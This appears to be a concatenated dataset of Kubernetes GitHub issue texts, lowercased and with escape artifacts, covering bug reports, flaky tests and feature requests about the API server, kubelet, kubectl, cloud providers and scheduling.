minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.7\ , gitcommit:\ b30876a5539f09684ff9fde266fda10b37738c9c\ , gittreestate:\ clean\ , builddate:\ 2018-01-16t21:52:38z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : k8s-1.8-debian-jessie-amd64-hvm-ebs-2018-02-08\r - kernel  e.g.  uname -a  : linux ip-172-20-40-189 4.4.115-k8s  1 smp thu feb 8 15:37:40 utc 2018 x86_64 gnu/linux\r - install tools: kops 1.8.1\r - others: \r ca image: gcr.io/google_containers/cluster-autoscaler:v1.0.5\r

today you can use uid as a precondition for delete; this allows you to avoid deleting an object that has been replaced with an object of the same name.\r \r as reported by @fasaxc on slack, there's also a need to ensure a delete fails if an unobserved change happens to an object. this could be implemented as either an rv or a generation precondition.\r \r scenario:\r \r 1  a observes object foo and sends a delete request.\r 2  b observes object foo and modifies it in a way that would have prevented its deletion.\r 3  a's delete request happens to arrive afterwards; the object is deleted and b's change is lost.\r \r 

based on discussion in https://github.com/kubernetes/kubernetes/issues/22484.  now, that we have multiple possible kinds for a go type  horizontalpodautoscaler has 2 kinds - extensions/v1beta1 and autoscaling/v1 , we cant use scheme.objectkind  . scheme.objectkind   arbitrarily returns the first possible kind. we should replace it by objectkinds   and then disambiguate appropriately.  @kubernetes/sig-api-machinery @liggitt @deads2k

currently, the server says what build it is: https://github.com/googlecloudplatform/kubernetes/blob/master/pkg/apiserver/apiserver.go l272  it would be handy if the same api endpoint gave a list of \ capabilities\  of the cluster, such that tests could be run conditional on a capability instead of a  version, provider  pair.   just writing up @zmerlynn's suggestion from our testing work item doc

- redis should create and stop redis servers\r - storm should create and stop zookeeper, nimbus and storm worker servers\r - spark should start spark master, driver and workers\r - cassandra should create and scale cassandra\r - cassandrastatefulset should create statefulset\r - rethinkdb should create and stop rethinkdb servers\r \r k8s contributors will not necessarily have the expertise to fix/maintain these tests and once we setup e2es for charts, they'll be maintained and tested well over in the charts repo.\r /cc @pwittrock @kow3ns @viglesiasce

what happened  :\r everything was running fine until image layers filled up all the free space for overlay2 and the kubelet died and tore down my masters.  \r \r   what you expected to happen  :\r it not to blow up my master\r \r   how to reproduce it  as minimally and precisely as possible   :\r have a reasonably small sized partition, fill it up with images by doing builds.  doing a    make release    is a nice way to waste tons of space.  \r \r current supposition that overlay2 <> cadvisor stats monitoring is fubar.  \r \r /cc @eparis @runcom @kubernetes/sig-node-bugs @derekwaynecarr \r \r \r \r

 \r the node-http-hc firewall is updated on sync of every load balancer service. \r

is this a bug report or feature request?  :\r  \r   what happened  :\r ref https://github.com/kubernetes/kubernetes/pull/44745, https://github.com/kubernetes/kubernetes/pull/53146.\r \r service_controller pacakges imports couple node labels constants from kubeadm, which will eventually be moved to https://github.com/kubernetes/kubeadm.\r https://github.com/kubernetes/kubernetes/blob/422f5e37b9b45706cac1575fad648e96ba0ce2e7/pkg/controller/service/service_controller.go l40\r https://github.com/kubernetes/kubernetes/blob/422f5e37b9b45706cac1575fad648e96ba0ce2e7/pkg/controller/service/service_controller.go l595-l603\r \r   what you expected to happen  :\r k8s itself should have well-known-labels defined as api or types and service controller should import those instead.\r \r the well-known-labels works are tracked/being discussed by https://github.com/kubernetes/kubernetes/pull/39112.\r \r   anything else we need to know?  :\r this may not be actionable immediately but is something we should cleanup eventually.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r there is no validation for ipset set and entry in pkg/util/ipset.\r \r   what you expected to happen  :\r \r we should validate them before call ipset exec. ipvs should validate ipset entry before adding it.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  \r /area ipvs

is this a bug report or feature request?  :\r  \r   what happened  :\r when i run local cluster by  hack/local-up-cluster.sh  command, i see a warning in a scheduler log:\r    console\r $ grep warning /tmp/kube-scheduler.log\r w0116 17:40:03.572037    5944 server.go:158  warning: all flags other than --config are deprecated. please begin using a config file asap.\r    \r \r   what you expected to happen  :\r no such warning.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r $ hack/local-up-cluster.sh\r    \r \r \r   environment  :\r    \r client version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.9.0-beta1\ , gitcommit:\ 3258431\ , gittreestate:\ clean\ , builddate:\ 2018-01-08t18:34:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.0-alpha.1.878+a1e3b3f0533d5d-dirty\ , gitcommit:\ a1e3b3f0533d5d211d0d8fad15005ee3cb7d67f0\ , gittreestate:\ dirty\ , builddate:\ 2018-01-16t16:22:09z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r \r   what happened  :\r normally this isn't a problem, but if you use subpath with hostpath volumes, then that means the subpath mounts will not get cleaned up during the reconstruction window  a pod is force deleted while kubelet is down

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r  \r   what happened  :\r as known ipvs become ga in 1.11, but it is based on ipvs nat. is it necessary to support ipvs dr mode? i have time to achieve this.\r \r   what you expected to happen  :\r support ipvs dr mode.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r i often run into issues when a newer kubectl version does not work with an older server.\r \r one instance: when my user has admin rbac permissions on a v1.6 cluster and i'm using a v1.11 kubectl i cannot  kubectl edit  anything because i get an rbac error. that's confusing to me and when i switch to  kubectl  v1.6 the  kubectl1.6 edit  command works just fine.\r \r i know that i should use the older kubectl but sometimes i forget to check the versions  and i think this could help users  me  diagnose issues faster.\r \r it would be really cool if kubectl printed a warning when the version mismatch between itself and the server was > 2. or really whenever kubectl only has coincidental support for the server version.\r \r /cc @kubernetes/sig-cli-feature-requests \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r  typed  kubectl config view  and the passwords for the following users were displayed:\r \r - domain_name\r - domain_name-basic-auth \r \r   what you expected to happen  :\r \r display redacted\r \r and to display them use:  kubectl config view --raw  \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r kubectl config view\r \r   anything else we need to know?  :\r \r i would like to make the patch to fix this, looks like a good first issue\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.1\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others: n/a\r

- kubernetes version  use  kubectl version  :\r v1.12.1\r \r when i watch the pod event  using    sigs.k8s.io/controller-runtime    ,  i delete a pod    kind: pod    named    test   , and i receive a event with    pod.status.containerstatuses    \\:\r    \r  {name:test state:{waiting:&containerstatewaiting{reason:containercreating,message:,} running:nil terminated:nil} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:false restartcount:0 image:busybox:latest imageid: containerid:} \r    \r shows    waiting:&containerstatewaiting{reason:containercreating   ,  why delete a pod shows a 'containercreating' status\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r originally created the issue in kubernetes/community and asked to open the issue here instead.\r \r the old issue is available here: https://github.com/kubernetes/community/issues/2942\r \r   what would you like to be added  :\r \r the ability to be able to get a list of namespaces that a current user has access to based on their rbac permissions. this is manly for being able to give users a list of namespaces within a ui.\r \r there is currently no mechanism to be able to do this. multiple feature requests have been opened but they have been closed  see https://github.com/kubernetes/kubernetes/issues/48537, https://github.com/kubernetes/kubernetes/issues/58262, https://github.com/kubernetes/kubernetes/issues/61958 \r \r the argument for not wanting this feature was brought up: \ i still don't think a special acl-filtered list-only api belongs in core kubernetes\   @liggitt https://github.com/kubernetes/community/issues/2942 issuecomment-439085611 \r \r but we already do something very similar in kubernetes with selfsubjectrulesreview. this will return a list of all actions a user can perform within a specified namespace based on their permissions. its a bit confusing to understand why the selfsubjectrulesreview is allowed  but something to return a list of namespaces that a user has access to is not.\r \r some of the arguments in the past seem to also be about how an acl-filtered list wouldn't work with the ability to watch on changes. but we don't need watch capabilities. selfsubjectrulesreview is post based and doesn't support watch. selfsubjectrulesreview even mentions that its meant more for ui purposes and is not to be used for more authentication purposes  which is also the usecase we are looking at .\r \r if selfsubjectaccessreview would be updated to work across all namespaces and not just a single namespace, then this might also work for our usecase. but this is likely to be overkill for what we want from it. being able to narrow down the permission being requested might work out better  eg return all namespaces where the current user can create pods . but ideally, just knowing if you can access the namespace would be enough for our usecase.\r \r or there might be some other way of handling things here which could give us the results we are looking for.\r \r   why is this needed  :\r \r there is a problem where any console or other tools can be granted permissions in certain namespaces using k8s rbac, but there is no way for it to get that list of namespaces back out. \r \r for instance, we have the kiali project which provides a ui console for monitoring istio service meshes. \r \r right now we grant kiali cluster wide permissions which allows it to read all the namespaces and provide a drop down option for users to select which namespace they want to view.\r \r we have a need to be able to restrict the kiali permissions to only specified namespaces. this is a better security policy for users so that they don't need to give cluster wide permissions when they don't need it. its also going to be important if we have multiple istio control planes and kiali instances in the same k8s cluster  where each istio/kiali instance covers different namespaces .\r \r its easy to grant kiali a role to a particular namespaces and use that to control access to resources within that namespace. but there doesn't appear to be a way to get a list of namespaces that the kiali serviceaccount has access to.\r \r this means we need to manually store the list of namespaces we have granted to the kiali service account somewhere and have kiali read this separate list. which is prone to error and difficult to keep in sync. this extra effort doesn't really make sense since the system should store this information and retrieve this for us.\r \r all of this works great in openshift using 'projects' and we are looking to be able to add the same functionality when using k8s  yes, we are aware of https://github.com/openshift/kube-projects but is a demo only project that appears to be dead and doesn't seem to work anymore \r \r <!-- do not edit below this line -->\r 

kube-apiserver should use the sd_notify   systemd api, either directly, or by reimplementing it  since it's trivial .  http://www.freedesktop.org/software/systemd/man/sd_notify.html  the sd_notify   systemd api tells systemd that the service is ready to accept connections. systemd will track its status correctly.   in particular  systemctl start kube-apiserver.service  should not return until kube-apiserver is ready to accept connections. this allows other services, tests or consumers of kube-apiserver to deterministically depend on it.

http://kubernetes.io/v1.0/docs/getting-started-guides/docker.html uses boot2docker and instead should use docker machine and compose. a sample docker compose file is available at:  https://github.com/arun-gupta/docker-images/blob/master/kubernetes/docker-compose.yml

when i run a job, i want to check on the progress being made by the pods.   likewise with an rc  either directly created or via  kubectl run .  for listing the pods, i use the  -l  option, like this:      console kubectl run foo --image bar -- /bin/blorp kubectl get pods -l run=myrunname      but, usually the next thing i want to do is check logs. i want to be able to do this:      kubectl logs -l run=myrunname      that doesn't work.  this is a request to implement it.  something like this: 1. when -l option passed to  logs , get a list of matching pods 2. for each pod name, get its logs. 3. print some kind of separator between logs from multiple pods.

this is a race condition issue for controller-manager especially when we use vip to connect apiserver for both controller-manager and kube-proxy. 1. during controller-manager restart, an endpoints controller loop will started which responsible for service endpoints sync; 2. two list-watch thread started which list-watch changes for services and pods; 3. the service list-watch will put changed service into a queue compared with its local cache  servicestore ; 4. the pod list-watch will load pods from apiserver and store them into its local cache  podstore ; 5. a worker will dequeue a service and try to get all its pods from  podstore  and build endpoints based on this. 6. if the worker find current endpoints is different with original one, it will do service endpoints update to apiserver.  problem found on step 4: during restart, usually, service list is faster than pod list, so the worker get  kube-apiserver  service from the queue and try to get its pods from  podstore . while, at that time, pod list-watch is not complete and the worker got empty pods. then, endpoints controller update the  kube-apiserver  endpoints to be empty. then, kube-proxy got this change and update its forwarding rule. but iptables still exists which dnat vip to kube-proxy. after above, both controller-manager and kube-proxy could not connect to apiserver anymore.  and there is no way for them to be automatically recovered.

we should figure out what tensorflow and grpc are doing around pr workflow.  they may have similar needs such as - owners, nagging, etc

hello, i encountered a problem and failed to fix it.  http://kubernetes.io/docs/user-guide/debugging-services    my kube-proxy is working , pod is working, service is ok.  it is small probability of this error, about 0.01%。 just likes this :   total request : 164171   failed request : 18   availability: 99.9890% sandbox cluster   nj02-dumi-sandbox-1.nj02   : access service failed  ! 2016-09-05 19 01 57  https://cloud.githubusercontent.com/assets/12168193/18247922/0c54c90e-73a8-11e6-818d-b548f1dde44f.png   client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.3\ , gitcommit:\ c6411395e09da356c608896d3d9725acab821418\ , gittreestate:\ clean\ , builddate:\ 2016-07-22t20:29:38z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.3\ , gitcommit:\ c6411395e09da356c608896d3d9725acab821418\ , gittreestate:\ clean\ , builddate:\ 2016-07-22t20:22:25z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }

hello,\r \r we would like to contribute back our authz-webhook to the kubernetes community. we would continue to iterate on it but its in a good enough place now to at least get it in i think.\r \r questions i'm looking to answer:\r is this enough value to the community to have it represented within the kubernetes sphere?\r if so, where should it go?\r what else would you like to see if it offers value but is needs something prior to a pr being made?\r \r i'm working on the corporate contributor piece now.\r \r written in go.\r https://github.com/pearsontechnology/bitesize-authz-webhook\r \r we have some additional documentation to do yet but examples can be found:\r https://github.com/pearsontechnology/bitesize-authz-webhook/tree/master/examples

so this is my somewhat naive observation that -  gce.go  is pretty hard to unit test because it is coupled with concrete implementation of  compute.service  and  container.service  -- which makes initializing gcecloud problematic.\r \r i propose that - we replace those two with wrapped interfaces which can be replaced in tests. it does make code somewhat more complex  but i am open to other ideas.\r \r cc @k8s-mirror-storage-bugs

/assign @saad-ali @childsb \r \r this is a top source of failure for this week.\r \r triage failure cluster: https://storage.googleapis.com/k8s-gubernator/triage/index.html eba1ba01921bf541729e\r \r example failure text:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes-disruptive.go:152\r apr 17 17:21:42.996: node bootstrap-e2e-minion-group-4fzg failed to enter notready state\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes-disruptive.go:242\r    \r \r example job: https://k8s-testgrid.appspot.com/google-gce gci-gce-flaky\r \r expectations: as a top source of failure this issue should interrupt assignees until the issue is closed. sig leads should  /assign  an appropriate owner and  /unassign  themselves.

is this a bug report or feature request?  :\r \r >  \r   what happened  :\r \r there are several ci e2e jobs that are failing this new conformance test:\r \r      sig-scheduling  schedulerpredicates  serial  validates local ephemeral storage resource limits of pods that are allowed to run  conformance  1m6s\r     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:221\r     expected\r         <bool>: false\r     to equal\r         <bool>: true\r     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:160\r \r here is one such failure:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-kubeadm-gce/5422\r \r moreover, this new test has been consistently failing on multiple e2e jobs ever since it was merged to master:\r https://k8s-testgrid.appspot.com/sig-cluster-lifecycle kubeadm-gce\r https://k8s-testgrid.appspot.com/google-aws kops-aws-serial\r https://k8s-testgrid.appspot.com/sig-scheduling gce-serial\r https://k8s-testgrid.appspot.com/sig-scheduling gke-serial\r \r here is the pull request for the new test:\r https://github.com/kubernetes/kubernetes/pull/50005\r \r i don't know if this is a legitimate problem with the scheduler in these jobs and if the test is running and passing elsewhere, or if there is a flaw in the test itself.\r \r @kubernetes/sig-scheduling-bugs \r @nickrenren

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   \r  \r   what happened  :\r statefulsets running on azure fail to mount volumes to the container \r   what you expected to happen  :\r the kubelet should mount the volume as expected as a part of launching the stateful set, it appears the kubelet does not create the directory based on strace \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r volumes are created in azure, they are attached to the proper nodes, it seems based on the below strace that the kubelet cannot mount the volume because the directory does not exist ?\r \r      strace      \r  pid  3835  execve \ /usr/bin/mount\ ,  \ mount\ , \ -t\ , \ ext4\ , \ -o\ , \ bind\ , \ /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/b2272457455\ , \ /var/lib/kubelet/pods/70c047b8-c9ba-11e7-903a-02420ac83d03/volumes/kubernetes.io~azure-disk/pvc-70bf5e10-c9ba-11e7-903a-02420ac83d03\  ,  \ lang=en_us.utf-8\ , \ path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin\    = 0\r  pid  3835  mount \ /var/lib/kubelet/plugins/kubernetes.io/azure-disk/mounts/b2272457455\ , \ /var/lib/kubelet/pods/70c047b8-c9ba-11e7-903a-02420ac83d03/volumes/kubernetes.io~azure-disk/pvc-70bf5e10-c9ba-11e7-903a-02420ac83d03\ , 0x7fea36c2c240, ms_mgc_val|ms_bind, null  = -1 enoent  no such file or directory \r  pid  3835  +++ exited with 32 +++\r  pid 10477  --- sigchld {si_signo=sigchld, si_code=cld_exited, si_pid=3835, si_status=32, si_utime=0, si_stime=0} ---\r \r      end strace     \r \r   environment  :\r - kubernetes version  use  kubectl version  : \r v1.7.10\r \r - cloud provider or hardware configuration:\r kubelet config\r \r   --cloud-provider=azure \\\r   --cloud-config=/etc/kubernetes/cloud/cloud.cfg \\\r   --v=0\r \r /etc/kubernetes/cloud/cloud.cfg\r {\r   \ tenantid\ : \ xxxxx-xxxx-xxxxx-xxxxxx-xxxxxxxxx\ ,\r   \ subscriptionid\ : \ xxxxxx-xxxx-xxxxxx-xxxx-xxxxxxx\ ,\r   \ aadclientid\ : \ xxxxxxxxxxxxxxxxxx\ ,\r   \ aadclientsecret\ : \ xxxxxxxxxxxxxxxxxxxx\ ,\r   \ resourcegroup\ : \ myresource\ ,\r   \ location\ : \ eastus\ ,\r   \ subnetname\ : \ app-subnet\ ,\r   \ securitygroupname\ : \ internal\ ,\r   \ vnetname\ : \ my-network\ \r }\r - os  e.g. from /etc/os-release :\r  root@kubenode6 ~   cat /etc/os-release\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r - kernel  e.g.  uname -a  :\r 3.10.0-229.20.1.el7.x86_64  1 smp tue nov 3 19:10:07 utc 2015 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:  \r ansible\r - others:\r

use-cases:\r - restrict access to the config source as tightly as possible, even if write access to other parts of node is more widespread\r - providers can use webhook authorizers that return a deny response to block access to node.configsource, in the case that they are responsible for managing node config, without having to restrict write access to the entire node.\r \r this needs to be figured out before dynamic config can graduate.\r \r /cc @bgrant0607 @thockin @liggitt @mikedanese @ihmccreery @dchen1107 @luxas

 /area test\r   \r examples:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/61480/pull-kubernetes-integration/2949/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/61498/pull-kubernetes-integration/2934/\r \r it's the most flaky test among all integration tests: https://k8s-testgrid.appspot.com/presubmits-kubernetes-blocking pull-kubernetes-integration\r \r /assign bsalamat

repo used- https://github.com/kubernetes/kubernetes/tree/master/test/images/pets/peer-finder\r \r root@platicp1:~/kubernetes/test/images  make all what=pets/peer-finder\r ./image-util.sh build pets/peer-finder\r building image for pets/peer-finder arch: amd64...\r make 1 : entering directory '/root/kubernetes/test/images/pets/peer-finder'\r ../../image-util.sh bin peer-finder\r make 1 : leaving directory '/root/kubernetes/test/images/pets/peer-finder'\r ~/kubernetes/_tmp/test-images-build.1g6gkd ~/kubernetes/test/images\r sending build context to docker daemon  2.713mb\r step 1/5 : from k8s.gcr.io/debian-base-amd64:0.4.0\r 0.4.0: pulling from debian-base-amd64\r digest: sha256:86176bc8ccdc4d8ea7fbf6ba4b57fcefc2cb61ff7413114630940474ff9bf751\r status: image is up to date for k8s.gcr.io/debian-base-amd64:0.4.0\r  ---> 8021d54711e6\r step 2/5 : run clean-install wget bash dnsutils\r  ---> running in a9a0346ebf83\r err:1 http://deb.debian.org/debian stretch inrelease\r   temporary failure resolving 'deb.debian.org'\r err:2 http://security.debian.org/debian-security stretch/updates inrelease\r   temporary failure resolving 'security.debian.org'\r err:3 http://deb.debian.org/debian stretch-updates inrelease\r   temporary failure resolving 'deb.debian.org'\r reading package lists...\r w: failed to fetch http://deb.debian.org/debian/dists/stretch/inrelease  temporary failure resolving 'deb.debian.org'\r w: failed to fetch http://security.debian.org/debian-security/dists/stretch/updates/inrelease  temporary failure resolving 'security.debian.org'\r w: failed to fetch http://deb.debian.org/debian/dists/stretch-updates/inrelease  temporary failure resolving 'deb.debian.org'\r w: some index files failed to download. they have been ignored, or old ones used instead.\r reading package lists...\r building dependency tree...\r reading state information...\r e: unable to locate package wget\r e: unable to locate package bash\r e: unable to locate package dnsutils\r the command '/bin/sh -c clean-install wget bash dnsutils' returned a non-zero code: 100\r makefile:37: recipe for target 'all-container' failed\r make:      all-container  error 100

\r pull-kubernetes-local-e2e-containerized is failing and has been failing consistently since 2018-12-18\r \r looks like something happened between build 1648 and 1649 and the cluster is not coming up.\r \r https://testgrid.k8s.io/conformance-all local-up-cluster-containerized,%20master%20 dev \r \r

what happened  :\r \r enabled vsphere cloud provider in kubernetes v1.12.4 cluster. but found kubelet failed to start due error to get zone from vsphere cloud provider.\r \r    \r jan 25 07:58:25 bws-01y-20190121-mst01 hyperkube 31519 : e0125 07:58:25.351818   31519 vsphere.go:1358  cannot list attached tags. get zone for node bws-01y-20190121-mst01: post https://cicd-vc1.rtp.x.x.x:443/rest/com/vmware/cis/tagging/tag-association?~action=list-attached-tags: 403 forbidden\r jan 25 07:58:25 bws-01y-20190121-mst01 hyperkube 31519 : e0125 07:58:25.361085   31519 vsphere.go:1405  get zone for node bws-01y-20190121-mst01: post https://cicd-vc1.rtp.x.x.x:443/rest/com/vmware/cis/tagging/tag-association?~action=list-attached-tags: 403 forbidden\r jan 25 07:58:25 bws-01y-20190121-mst01 hyperkube 31519 : f0125 07:58:25.361109   31519 kubelet.go:1354  kubelet failed to get node info: failed to get zone from cloud provider: post https://cicd-vc1.rtp.x.x.x:443/rest/com/vmware/cis/tagging/tag-association?~action=list-attached-tags: 403 forbidden\r    \r \r    \r   cat /etc/systemd/system/kubelet.service\r ...\r   --cloud-provider=vsphere \\\r   --cloud-config=/etc/cfc/conf/vsphere_cloud_conf \\\r \r   cat /etc/cfc/conf/vsphere_cloud_conf\r  global \r    user=username\r    password=passw0rd\r    server=cicd-vc1.x.x.x.x\r    port=443\r    insecure-flag=1\r    datacenter=wlot01\r    datastore=ds01\r    working-dir=bws-01y\r  disk \r    scsicontrollertype=pvscsi\r    \r \r while the same conf works for   kubernetes v1.11.5  .\r \r   what you expected to happen  :\r \r kubelet should start successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just build a kubernetes v1.12.4 cluster with vsphere cloud provider enabled.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.4 \r - cloud provider or hardware configuration: vsphere\r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  : 4.4.0-87-generic\r - install tools: \r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r the tls secret can be deleted without any validation when it's referenced by an ingress.\r \r   what you expected to happen  :\r deletion should not allowed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a secret \r    \r k create secret generic ingress-tls --from-file=tls.crt=/home/ubuntu/certs/ca.crt --from-file=tls.key=/home/ubuntu/certs/ca.key\r    \r \r 2. create an ingress using the secret as tls certs.\r    \r cat <<eof > ~/test_ingress.yaml\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: test-octavia-ingress\r   annotations:\r     kubernetes.io/ingress.class: \ openstack\ \r spec:\r   tls:\r   - hosts:\r       - ingress.example.com\r     secretname: ingress-tls\r   rules:\r   - host: ingress.example.com\r     http:\r       paths:\r       - path: /ping\r         backend:\r           servicename: hostname-server\r           serviceport: 8080\r eof\r kubectl apply -f ~/test_ingress.yaml\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-10t23:35:51z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-10t23:28:14z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  :\r  linux test-k8s-master 4.4.0-139-generic  165-ubuntu smp wed oct 24 10:58:50 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools: kubeadm\r - others:\r

this is a follow up from https://github.com/googlecloudplatform/kubernetes/issues/10265 issuecomment-118595068  there i was asking about documentation on serviceaccounts and certificates. i have already read http://docs.k8s.io/design/service_accounts.md  and a few others , but still there are lots of questions: - is the ca certificate in  --root-ca-file=  authenticated by the key in  --service-account-key-file= ? - if so, i cannot create the  --service-account-key-file=  on the host automatically via a systemd.service unit, unless i also automatically create the  --root-ca-file=  via a systemd.service, correct? - is the missing  ca.crt  secret in my default serviceaccount the same as the one i would hand to the kube-controller-manager via  --root-ca-file= ? - will i have to distribute these files to the client i run kubectl on? - will the kube-controller-manager and/or the kubelets automatically create certificates for themselves signed by  --root-ca-file= ? - if so, how do i control which host is allowed to get such a certificate, and which will not be allowed to join the cluster? - how is the certificate for connection with a client kubectl created? do i need to also automatically create a client certificate using a systemd.service and then fetch the file using e.g. ssh? - if so, i assume the automatic generation of the key as laid out in the examples is not actually recommended, as it is utterly cumbersome? - i read that on gce you use salt to distribute the  manually created  root certificates. is there any convenient way to do this on a bare-metal coreos cluster? writing a properly indented  write_files  directive for  cloud-config  appears unflexible and cumbersome on its own. - is all authentication between the kubernetes master  kube-apiserver, kube-controller-manager, kube-scheduler  and the kubelets and kubectls handled via https and client certificates?  the following question was already answered by @satnam6502 in https://github.com/googlecloudplatform/kubernetes/issues/10265 issuecomment-118595167, but i mention it here for completeness  in case someone wants to write down docs or a faq : - what is the  token  of the serviceaccount being used for?  > one of the uses of the token is to make it more convenient to issue things like curl commands to the api server or application endpoints  e.g. elasticsearch and kibana logging endpoints . see https://github.com/googlecloudplatform/kubernetes/blob/master/docs/getting-started-guides/logging-elasticsearch.md

cc @random-liu @jayunit100 @yujuhong @timothysc @kubernetes/sig-testing

description    two deployments were created both with selectors  app: logstash  added, the second deployment also had unique selectors added but because they both match on  app:logstash  and each had different replica amounts, the scheduler kept trying to satisfy an impossible situation.      problem    if you have 2 deployments with the same selector and different replication conditions the scheduler will keep creating and terminating pods.       expected    the scheduler should throw an error on creation of a new deployment if the deployments have matching selectors.

